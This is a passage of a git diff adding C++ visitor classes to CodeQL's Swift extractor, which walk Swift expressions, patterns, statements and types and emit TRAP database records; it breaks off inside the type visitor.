+    assert(expr->getSubExpr() && "InOutExpr has getSubExpr()");
+
+    auto subExprLabel = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(InOutExprsTrap{label, subExprLabel});
+  }
+
+  void visitOpaqueValueExpr(swift::OpaqueValueExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(OpaqueValueExprsTrap{label});
+  }
+
+  void visitTapExpr(swift::TapExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getVar() && "TapExpr has getVar()");
+    assert(expr->getBody() && "TapExpr has getBody()");
+
+    auto varLabel = dispatcher_.fetchLabel(expr->getVar());
+    auto bodyLabel = dispatcher_.fetchLabel(expr->getBody());
+
+    dispatcher_.emit(TapExprsTrap{label, varLabel, bodyLabel});
+    if (auto subExpr = expr->getSubExpr()) {
+      dispatcher_.emit(TapExprSubExprsTrap{label, dispatcher_.fetchLabel(subExpr)});
+    }
+  }
+
+  void visitTupleElementExpr(swift::TupleElementExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBase() && "TupleElementExpr has getBase()");
+
+    auto base = dispatcher_.fetchLabel(expr->getBase());
+    auto index = expr->getFieldNumber();
+    dispatcher_.emit(TupleElementExprsTrap{label, base, index});
+  }
+
+  void visitTryExpr(swift::TryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(TryExprsTrap{label});
+    emitAnyTryExpr(expr, label);
+  }
+
+  void visitForceTryExpr(swift::ForceTryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ForceTryExprsTrap{label});
+    emitAnyTryExpr(expr, label);
+  }
+
+  void visitOptionalTryExpr(swift::OptionalTryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(OptionalTryExprsTrap{label});
+    emitAnyTryExpr(expr, label);
+  }
+
+  void visitInjectIntoOptionalExpr(swift::InjectIntoOptionalExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(InjectIntoOptionalExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitConstructorRefCallExpr(swift::ConstructorRefCallExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ConstructorRefCallExprsTrap{label});
+    emitSelfApplyExpr(expr, label);
+  }
+
+  void visitDiscardAssignmentExpr(swift::DiscardAssignmentExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(DiscardAssignmentExprsTrap{label});
+  }
+
+  void visitClosureExpr(swift::ClosureExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBody() && "ClosureExpr has getBody()");
+    auto bodyLabel = dispatcher_.fetchLabel(expr->getBody());
+    dispatcher_.emit(ClosureExprsTrap{label, bodyLabel});
+  }
+
+  void visitAutoClosureExpr(swift::AutoClosureExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBody() && "AutoClosureExpr has getBody()");
+    auto bodyLabel = dispatcher_.fetchLabel(expr->getBody());
+    dispatcher_.emit(AutoClosureExprsTrap{label, bodyLabel});
+  }
+
+  void visitCoerceExpr(swift::CoerceExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(CoerceExprsTrap{label});
+    emitExplicitCastExpr(expr, label);
+  }
+
+  void visitConditionalCheckedCastExpr(swift::ConditionalCheckedCastExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ConditionalCheckedCastExprsTrap{label});
+    emitExplicitCastExpr(expr, label);
+  }
+
+  void visitForcedCheckedCastExpr(swift::ForcedCheckedCastExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(ForcedCheckedCastExprsTrap{label});
+    emitExplicitCastExpr(expr, label);
+  }
+
+  void visitIsExpr(swift::IsExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(IsExprsTrap{label});
+    emitExplicitCastExpr(expr, label);
+  }
+
+  void visitSubscriptExpr(swift::SubscriptExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBase() && "SubscriptExpr has getBase()");
+    auto baseLabel = dispatcher_.fetchLabel(expr->getBase());
+    dispatcher_.emit(SubscriptExprsTrap{label, baseLabel});
+
+    auto i = 0u;
+    for (const auto& arg : *expr->getArgs()) {
+      dispatcher_.emit(SubscriptExprArgumentsTrap{label, i++, emitArgument(arg)});
+    }
+  }
+
+  void visitDictionaryExpr(swift::DictionaryExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(DictionaryExprsTrap{label});
+    unsigned index = 0;
+    for (auto element : expr->getElements()) {
+      auto elementLabel = dispatcher_.fetchLabel(element);
+      dispatcher_.emit(DictionaryExprElementsTrap{label, index++, elementLabel});
+    }
+  }
+
+  void visitFunctionConversionExpr(swift::FunctionConversionExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(FunctionConversionExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitInOutToPointerExpr(swift::InOutToPointerExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(InOutToPointerExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitMemberRefExpr(swift::MemberRefExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getBase() && "MemberRefExpr has getBase()");
+
+    auto baseLabel = dispatcher_.fetchLabel(expr->getBase());
+    dispatcher_.emit(MemberRefExprsTrap{label, baseLabel});
+  }
+
+  void visitDerivedToBaseExpr(swift::DerivedToBaseExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(DerivedToBaseExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitKeyPathExpr(swift::KeyPathExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(KeyPathExprsTrap{label});
+    if (!expr->isObjC()) {
+      if (auto path = expr->getParsedPath()) {
+        auto pathLabel = dispatcher_.fetchLabel(path);
+        dispatcher_.emit(KeyPathExprParsedPathsTrap{label, pathLabel});
+      }
+      if (auto root = expr->getParsedPath()) {
+        auto rootLabel = dispatcher_.fetchLabel(root);
+        dispatcher_.emit(KeyPathExprParsedRootsTrap{label, rootLabel});
+      }
+    }
+  }
+
+  void visitLazyInitializerExpr(swift::LazyInitializerExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "LazyInitializerExpr has getSubExpr()");
+    auto subExprLabel = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(LazyInitializerExprsTrap{label, subExprLabel});
+  }
+
+  void visitForceValueExpr(swift::ForceValueExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getSubExpr() && "ForceValueExpr has getSubExpr()");
+
+    auto subExprLabel = dispatcher_.fetchLabel(expr->getSubExpr());
+    dispatcher_.emit(ForceValueExprsTrap{label, subExprLabel});
+  }
+
+  void visitPointerToPointerExpr(swift::PointerToPointerExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    dispatcher_.emit(PointerToPointerExprsTrap{label});
+    emitImplicitConversionExpr(expr, label);
+  }
+
+  void visitIfExpr(swift::IfExpr* expr) {
+    auto label = dispatcher_.assignNewLabel(expr);
+    assert(expr->getCondExpr() && "IfExpr has getCond()");
+    assert(expr->getThenExpr() && "IfExpr has getThenExpr()");
+    assert(expr->getElseExpr() && "IfExpr has getElseExpr()");
+
+    auto condLabel = dispatcher_.fetchLabel(expr->getCondExpr());
+    auto thenLabel = dispatcher_.fetchLabel(expr->getThenExpr());
+    auto elseLabel = dispatcher_.fetchLabel(expr->getElseExpr());
+
+    dispatcher_.emit(IfExprsTrap{label, condLabel, thenLabel, elseLabel});
+  }
+
+ private:
+  TrapLabel<ArgumentTag> emitArgument(const swift::Argument& arg) {
+    auto argLabel = dispatcher_.createLabel<ArgumentTag>();
+    assert(arg.getExpr() && "Argument has getExpr");
+    dispatcher_.emit(
+        ArgumentsTrap{argLabel, arg.getLabel().str().str(), dispatcher_.fetchLabel(arg.getExpr())});
+    return argLabel;
+  }
+
+  void emitImplicitConversionExpr(swift::ImplicitConversionExpr* expr,
+                                  TrapLabel<ImplicitConversionExprTag> label) {
+    assert(expr->getSubExpr() && "ImplicitConversionExpr has getSubExpr()");
+    dispatcher_.emit(
+        ImplicitConversionExprsTrap{label, dispatcher_.fetchLabel(expr->getSubExpr())});
+  }
+
+  void emitExplicitCastExpr(swift::ExplicitCastExpr* expr, TrapLabel<ExplicitCastExprTag> label) {
+    assert(expr->getSubExpr() && "ExplicitCastExpr has getSubExpr()");
+    dispatcher_.emit(ExplicitCastExprsTrap{label, dispatcher_.fetchLabel(expr->getSubExpr())});
+  }
+
+  void emitIdentityExpr(swift::IdentityExpr* expr, TrapLabel<IdentityExprTag> label) {
+    assert(expr->getSubExpr() && "IdentityExpr has getSubExpr()");
+    dispatcher_.emit(IdentityExprsTrap{label, dispatcher_.fetchLabel(expr->getSubExpr())});
+  }
+
+  void emitAnyTryExpr(swift::AnyTryExpr* expr, TrapLabel<AnyTryExprTag> label) {
+    assert(expr->getSubExpr() && "AnyTryExpr has getSubExpr()");
+    dispatcher_.emit(AnyTryExprsTrap{label, dispatcher_.fetchLabel(expr->getSubExpr())});
+  }
+
+  void emitApplyExpr(const swift::ApplyExpr* expr, TrapLabel<ApplyExprTag> label) {
+    assert(expr->getFn() && "CallExpr has Fn");
+    auto fnLabel = dispatcher_.fetchLabel(expr->getFn());
+    dispatcher_.emit(ApplyExprsTrap{label, fnLabel});
+    auto i = 0u;
+    for (const auto& arg : *expr->getArgs()) {
+      dispatcher_.emit(ApplyExprArgumentsTrap{label, i++, emitArgument(arg)});
+    }
+  }
+
+  void emitSelfApplyExpr(const swift::SelfApplyExpr* expr, TrapLabel<SelfApplyExprTag> label) {
+    assert(expr->getBase() && "SelfApplyExpr has getBase()");
+    auto baseLabel = dispatcher_.fetchLabel(expr->getBase());
+    dispatcher_.emit(SelfApplyExprsTrap{label, baseLabel});
+    emitApplyExpr(expr, label);
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/PatternVisitor.h b/swift/extractor/visitors/PatternVisitor.h
new file mode 100644
index 00000000000..522891ec2f0
--- /dev/null
+++ b/swift/extractor/visitors/PatternVisitor.h
@@ -0,0 +1,97 @@
+#pragma once
+
+#include "swift/extractor/visitors/VisitorBase.h"
+
+namespace codeql {
+
+class PatternVisitor : public AstVisitorBase<PatternVisitor> {
+ public:
+  using AstVisitorBase<PatternVisitor>::AstVisitorBase;
+
+  void visitNamedPattern(swift::NamedPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    // TODO: in some (but not all) cases, this seems to introduce a duplicate entry
+    // for example the vars listed in a case stmt have a different pointer than then ones in
+    // patterns.
+    //  assert(pattern->getDecl() && "expect NamedPattern to have Decl");
+    //  dispatcher_.emit(NamedPatternsTrap{label, pattern->getNameStr().str(),
+    //                                       dispatcher_.fetchLabel(pattern->getDecl())});
+    dispatcher_.emit(NamedPatternsTrap{label, pattern->getNameStr().str()});
+  }
+
+  void visitTypedPattern(swift::TypedPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    assert(pattern->getSubPattern() && "expect TypedPattern to have a SubPattern");
+    dispatcher_.emit(TypedPatternsTrap{label, dispatcher_.fetchLabel(pattern->getSubPattern())});
+    if (auto typeRepr = pattern->getTypeRepr()) {
+      dispatcher_.emit(
+          TypedPatternTypeReprsTrap{label, dispatcher_.fetchLabel(pattern->getTypeRepr())});
+    }
+  }
+
+  void visitTuplePattern(swift::TuplePattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    dispatcher_.emit(TuplePatternsTrap{label});
+    auto i = 0u;
+    for (auto p : pattern->getElements()) {
+      dispatcher_.emit(
+          TuplePatternElementsTrap{label, i++, dispatcher_.fetchLabel(p.getPattern())});
+    }
+  }
+  void visitAnyPattern(swift::AnyPattern* pattern) {
+    dispatcher_.emit(AnyPatternsTrap{dispatcher_.assignNewLabel(pattern)});
+  }
+
+  void visitBindingPattern(swift::BindingPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    assert(pattern->getSubPattern() && "expect BindingPattern to have a SubPattern");
+    dispatcher_.emit(BindingPatternsTrap{label, dispatcher_.fetchLabel(pattern->getSubPattern())});
+  }
+
+  void visitEnumElementPattern(swift::EnumElementPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    dispatcher_.emit(
+        EnumElementPatternsTrap{label, dispatcher_.fetchLabel(pattern->getElementDecl())});
+    if (auto subPattern = pattern->getSubPattern()) {
+      dispatcher_.emit(EnumElementPatternSubPatternsTrap{
+          label, dispatcher_.fetchLabel(pattern->getSubPattern())});
+    }
+  }
+
+  void visitOptionalSomePattern(swift::OptionalSomePattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    assert(pattern->getSubPattern() && "expect BindingPattern to have a SubPattern");
+    dispatcher_.emit(
+        OptionalSomePatternsTrap{label, dispatcher_.fetchLabel(pattern->getSubPattern())});
+  }
+
+  void visitIsPattern(swift::IsPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    dispatcher_.emit(IsPatternsTrap{label});
+
+    if (auto typeRepr = pattern->getCastTypeRepr()) {
+      dispatcher_.emit(IsPatternCastTypeReprsTrap{label, dispatcher_.fetchLabel(typeRepr)});
+    }
+    if (auto subPattern = pattern->getSubPattern()) {
+      dispatcher_.emit(IsPatternSubPatternsTrap{label, dispatcher_.fetchLabel(subPattern)});
+    }
+  }
+
+  void visitExprPattern(swift::ExprPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    assert(pattern->getSubExpr() && "expect ExprPattern to have SubExpr");
+    dispatcher_.emit(ExprPatternsTrap{label, dispatcher_.fetchLabel(pattern->getSubExpr())});
+  }
+
+  void visitParenPattern(swift::ParenPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    assert(pattern->getSubPattern() && "expect ParenPattern to have SubPattern");
+    dispatcher_.emit(ParenPatternsTrap{label, dispatcher_.fetchLabel(pattern->getSubPattern())});
+  }
+
+  void visitBoolPattern(swift::BoolPattern* pattern) {
+    auto label = dispatcher_.assignNewLabel(pattern);
+    dispatcher_.emit(BoolPatternsTrap{label, pattern->getValue()});
+  }
+};
+}  // namespace codeql
diff --git a/swift/extractor/visitors/StmtVisitor.h b/swift/extractor/visitors/StmtVisitor.h
new file mode 100644
index 00000000000..5f298a0d262
--- /dev/null
+++ b/swift/extractor/visitors/StmtVisitor.h
@@ -0,0 +1,223 @@
+#pragma once
+
+#include "swift/extractor/visitors/VisitorBase.h"
+
+namespace codeql {
+
+class StmtVisitor : public AstVisitorBase<StmtVisitor> {
+ public:
+  using AstVisitorBase<StmtVisitor>::AstVisitorBase;
+
+  void visitLabeledStmt(swift::LabeledStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+  }
+
+  void visitStmtCondition(swift::StmtCondition* cond) {
+    auto label = dispatcher_.assignNewLabel(cond);
+    dispatcher_.emit(StmtConditionsTrap{label});
+    unsigned index = 0;
+    for (const auto& cond : *cond) {
+      auto condLabel = dispatcher_.createLabel<ConditionElementTag>();
+      dispatcher_.attachLocation(cond, condLabel);
+      dispatcher_.emit(ConditionElementsTrap{condLabel});
+      dispatcher_.emit(StmtConditionElementsTrap{label, index++, condLabel});
+      if (auto boolean = cond.getBooleanOrNull()) {
+        auto elementLabel = dispatcher_.fetchLabel(boolean);
+        dispatcher_.emit(ConditionElementBooleansTrap{condLabel, elementLabel});
+      } else if (auto pattern = cond.getPatternOrNull()) {
+        auto patternLabel = dispatcher_.fetchLabel(pattern);
+        auto initilizerLabel = dispatcher_.fetchLabel(cond.getInitializer());
+        dispatcher_.emit(ConditionElementPatternsTrap{condLabel, patternLabel});
+        dispatcher_.emit(ConditionElementInitializersTrap{condLabel, initilizerLabel});
+      }
+      /// TODO: Implement availability
+    }
+  }
+
+  void visitLabeledConditionalStmt(swift::LabeledConditionalStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    emitLabeledConditionalStmt(stmt, label);
+  }
+
+  void visitCaseLabelItem(swift::CaseLabelItem* labelItem) {
+    auto label = dispatcher_.assignNewLabel(labelItem);
+    assert(labelItem->getPattern() && "CaseLabelItem has Pattern");
+    dispatcher_.emit(CaseLabelItemsTrap{label, dispatcher_.fetchLabel(labelItem->getPattern())});
+  }
+
+  void visitBraceStmt(swift::BraceStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    dispatcher_.emit(BraceStmtsTrap{label});
+    auto i = 0u;
+    for (auto& e : stmt->getElements()) {
+      dispatcher_.emit(BraceStmtElementsTrap{label, i++, dispatcher_.fetchLabel(e)});
+    }
+  }
+
+  void visitReturnStmt(swift::ReturnStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    dispatcher_.emit(ReturnStmtsTrap{label});
+    if (stmt->hasResult()) {
+      auto resultLabel = dispatcher_.fetchLabel(stmt->getResult());
+      dispatcher_.emit(ReturnStmtResultsTrap{label, resultLabel});
+    }
+  }
+
+  void visitForEachStmt(swift::ForEachStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    assert(stmt->getBody() && "ForEachStmt has getBody()");
+    assert(stmt->getSequence() && "ForEachStmt has getSequence()");
+    assert(stmt->getPattern() && "ForEachStmt has getPattern()");
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    auto sequenceLabel = dispatcher_.fetchLabel(stmt->getSequence());
+    auto patternLabel = dispatcher_.fetchLabel(stmt->getPattern());
+    emitLabeledStmt(stmt, label);
+    dispatcher_.emit(ForEachStmtsTrap{label, patternLabel, sequenceLabel, bodyLabel});
+    if (auto where = stmt->getWhere()) {
+      auto whereLabel = dispatcher_.fetchLabel(where);
+      dispatcher_.emit(ForEachStmtWheresTrap{label, whereLabel});
+    }
+  }
+
+  void visitIfStmt(swift::IfStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    emitLabeledConditionalStmt(stmt, label);
+    auto thenLabel = dispatcher_.fetchLabel(stmt->getThenStmt());
+    dispatcher_.emit(IfStmtsTrap{label, thenLabel});
+    if (auto* elseStmt = stmt->getElseStmt()) {
+      auto elseLabel = dispatcher_.fetchLabel(elseStmt);
+      dispatcher_.emit(IfStmtElsesTrap{label, elseLabel});
+    }
+  }
+
+  void visitBreakStmt(swift::BreakStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    dispatcher_.emit(BreakStmtsTrap{label});
+    if (auto* target = stmt->getTarget()) {
+      auto targetlabel = dispatcher_.fetchLabel(target);
+      dispatcher_.emit(BreakStmtTargetsTrap{label, targetlabel});
+    }
+    auto targetName = stmt->getTargetName();
+    if (!targetName.empty()) {
+      dispatcher_.emit(BreakStmtTargetNamesTrap{label, targetName.str().str()});
+    }
+  }
+
+  void visitContinueStmt(swift::ContinueStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    dispatcher_.emit(ContinueStmtsTrap{label});
+    if (auto* target = stmt->getTarget()) {
+      auto targetlabel = dispatcher_.fetchLabel(target);
+      dispatcher_.emit(ContinueStmtTargetsTrap{label, targetlabel});
+    }
+    auto targetName = stmt->getTargetName();
+    if (!targetName.empty()) {
+      dispatcher_.emit(ContinueStmtTargetNamesTrap{label, targetName.str().str()});
+    }
+  }
+
+  void visitWhileStmt(swift::WhileStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    emitLabeledConditionalStmt(stmt, label);
+    dispatcher_.emit(WhileStmtsTrap{label, dispatcher_.fetchLabel(stmt->getBody())});
+  }
+
+  void visitRepeatWhileStmt(swift::RepeatWhileStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    auto condLabel = dispatcher_.fetchLabel(stmt->getCond());
+    dispatcher_.emit(RepeatWhileStmtsTrap{label, condLabel, bodyLabel});
+  }
+
+  void visitDoCatchStmt(swift::DoCatchStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    dispatcher_.emit(DoCatchStmtsTrap{label, bodyLabel});
+    auto i = 0u;
+    for (auto* stmtCatch : stmt->getCatches()) {
+      dispatcher_.emit(DoCatchStmtCatchesTrap{label, i++, dispatcher_.fetchLabel(stmtCatch)});
+    }
+  }
+
+  void visitCaseStmt(swift::CaseStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    dispatcher_.emit(CaseStmtsTrap{label, bodyLabel});
+    auto i = 0u;
+    for (auto& item : stmt->getMutableCaseLabelItems()) {
+      dispatcher_.emit(CaseStmtLabelsTrap{label, i++, dispatcher_.fetchLabel(&item)});
+    }
+    if (stmt->hasCaseBodyVariables()) {
+      auto i = 0u;
+      for (auto* var : stmt->getCaseBodyVariables()) {
+        dispatcher_.emit(CaseStmtVariablesTrap{label, i++, dispatcher_.fetchLabel(var)});
+      }
+    }
+  }
+
+  void visitGuardStmt(swift::GuardStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    emitLabeledConditionalStmt(stmt, label);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    dispatcher_.emit(GuardStmtsTrap{label, bodyLabel});
+  }
+
+  void visitThrowStmt(swift::ThrowStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    auto subExprLabel = dispatcher_.fetchLabel(stmt->getSubExpr());
+    dispatcher_.emit(ThrowStmtsTrap{label, subExprLabel});
+  }
+
+  void visitDeferStmt(swift::DeferStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBodyAsWritten());
+    dispatcher_.emit(DeferStmtsTrap{label, bodyLabel});
+  }
+
+  void visitDoStmt(swift::DoStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    auto bodyLabel = dispatcher_.fetchLabel(stmt->getBody());
+    dispatcher_.emit(DoStmtsTrap{label, bodyLabel});
+  }
+
+  void visitSwitchStmt(swift::SwitchStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    emitLabeledStmt(stmt, label);
+    auto subjectLabel = dispatcher_.fetchLabel(stmt->getSubjectExpr());
+    dispatcher_.emit(SwitchStmtsTrap{label, subjectLabel});
+    auto i = 0u;
+    for (auto* c : stmt->getCases()) {
+      dispatcher_.emit(SwitchStmtCasesTrap{label, i++, dispatcher_.fetchLabel(c)});
+    }
+  }
+
+  void visitFallthroughStmt(swift::FallthroughStmt* stmt) {
+    auto label = dispatcher_.assignNewLabel(stmt);
+    auto sourceLabel = dispatcher_.fetchLabel(stmt->getFallthroughSource());
+    auto destLabel = dispatcher_.fetchLabel(stmt->getFallthroughDest());
+    dispatcher_.emit(FallthroughStmtsTrap{label, sourceLabel, destLabel});
+  }
+
+ private:
+  void emitLabeledStmt(const swift::LabeledStmt* stmt, TrapLabel<LabeledStmtTag> label) {
+    if (stmt->getLabelInfo()) {
+      dispatcher_.emit(LabeledStmtLabelsTrap{label, stmt->getLabelInfo().Name.str().str()});
+    }
+  }
+
+  void emitLabeledConditionalStmt(swift::LabeledConditionalStmt* stmt,
+                                  TrapLabel<LabeledConditionalStmtTag> label) {
+    auto condLabel = dispatcher_.fetchLabel(stmt->getCondPointer());
+    dispatcher_.emit(LabeledConditionalStmtsTrap{label, condLabel});
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/TypeReprVisitor.h b/swift/extractor/visitors/TypeReprVisitor.h
new file mode 100644
index 00000000000..81b17d625ae
--- /dev/null
+++ b/swift/extractor/visitors/TypeReprVisitor.h
@@ -0,0 +1,12 @@
+#pragma once
+
+#include "swift/extractor/visitors/VisitorBase.h"
+
+namespace codeql {
+
+class TypeReprVisitor : public AstVisitorBase<TypeReprVisitor> {
+ public:
+  using AstVisitorBase<TypeReprVisitor>::AstVisitorBase;
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/TypeVisitor.h b/swift/extractor/visitors/TypeVisitor.h
new file mode 100644
index 00000000000..21c6978e325
--- /dev/null
+++ b/swift/extractor/visitors/TypeVisitor.h
@@ -0,0 +1,233 @@
+#pragma once
+
+#include "swift/extractor/visitors/VisitorBase.h"
+namespace codeql {
+class TypeVisitor : public TypeVisitorBase<TypeVisitor> {
+ public:
+  using TypeVisitorBase<TypeVisitor>::TypeVisitorBase;
+
+  void visit(swift::TypeBase* type) {
+    TypeVisitorBase<TypeVisitor>::visit(type);
+    auto label = dispatcher_.fetchLabel(type);
+    auto canonical = type->getCanonicalType().getPointer();
+    auto canonicalLabel = (canonical == type) ? label : dispatcher_.fetchLabel(canonical);
+    dispatcher_.emit(TypesTrap{label, type->getString(), canonicalLabel});
+  }
+
+  void visitProtocolType(swift::ProtocolType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(ProtocolTypesTrap{label});
+    emitAnyGenericType(type, label);
+  }
+
+  void visitEnumType(swift::EnumType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(EnumTypesTrap{label});
+    emitAnyGenericType(type, label);
+  }
+
+  void visitStructType(swift::StructType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(StructTypesTrap{label});
+    emitAnyGenericType(type, label);
+  }
+
+  void visitClassType(swift::ClassType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(ClassTypesTrap{label});
+    emitAnyGenericType(type, label);
+  }
+
+  void visitFunctionType(swift::FunctionType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(FunctionTypesTrap{label});
+    emitAnyFunctionType(type, label);
+  }
+
+  void visitTupleType(swift::TupleType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(TupleTypesTrap{label});
+    auto i = 0u;
+    for (const auto& e : type->getElements()) {
+      auto typeTag = dispatcher_.fetchLabel(e.getType());
+      dispatcher_.emit(TupleTypeTypesTrap{label, i, typeTag});
+      if (e.hasName()) {
+        dispatcher_.emit(TupleTypeNamesTrap{label, i, e.getName().str().str()});
+      }
+      ++i;
+    }
+  }
+
+  void visitBoundGenericEnumType(swift::BoundGenericEnumType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(BoundGenericEnumTypesTrap{label});
+    emitBoundGenericType(type, label);
+  }
+
+  void visitMetatypeType(swift::MetatypeType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(MetatypeTypesTrap{label});
+  }
+
+  void visitExistentialMetatypeType(swift::ExistentialMetatypeType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(ExistentialMetatypeTypesTrap{label});
+  }
+
+  void visitBoundGenericStructType(swift::BoundGenericStructType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(BoundGenericStructTypesTrap{label});
+    emitBoundGenericType(type, label);
+  }
+
+  void visitTypeAliasType(swift::TypeAliasType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    assert(type->getDecl() && "expect TypeAliasType to have Decl");
+    dispatcher_.emit(TypeAliasTypesTrap{label, dispatcher_.fetchLabel(type->getDecl())});
+  }
+
+  void visitBuiltinIntegerLiteralType(swift::BuiltinIntegerLiteralType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(BuiltinIntegerLiteralTypesTrap{label});
+  }
+
+  void visitBuiltinFloatType(swift::BuiltinFloatType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(BuiltinFloatTypesTrap{label});
+  }
+
+  void visitBuiltinIntegerType(swift::BuiltinIntegerType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    auto width = type->getWidth();
+    if (width.isFixedWidth()) {
+      dispatcher_.emit(BuiltinIntegerTypeWidthsTrap{label, width.getFixedWidth()});
+    }
+    dispatcher_.emit(BuiltinIntegerTypesTrap{label});
+  }
+
+  void visitBoundGenericClassType(swift::BoundGenericClassType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(BoundGenericClassTypesTrap{label});
+    emitBoundGenericType(type, label);
+  }
+
+  void visitDependentMemberType(swift::DependentMemberType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    assert(type->getBase() && "expect TypeAliasType to have Base");
+    assert(type->getAssocType() && "expect TypeAliasType to have AssocType");
+    auto baseLabel = dispatcher_.fetchLabel(type->getBase());
+    auto assocTypeDeclLabel = dispatcher_.fetchLabel(type->getAssocType());
+    dispatcher_.emit(DependentMemberTypesTrap{label, baseLabel, assocTypeDeclLabel});
+  }
+
+  void visitParenType(swift::ParenType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
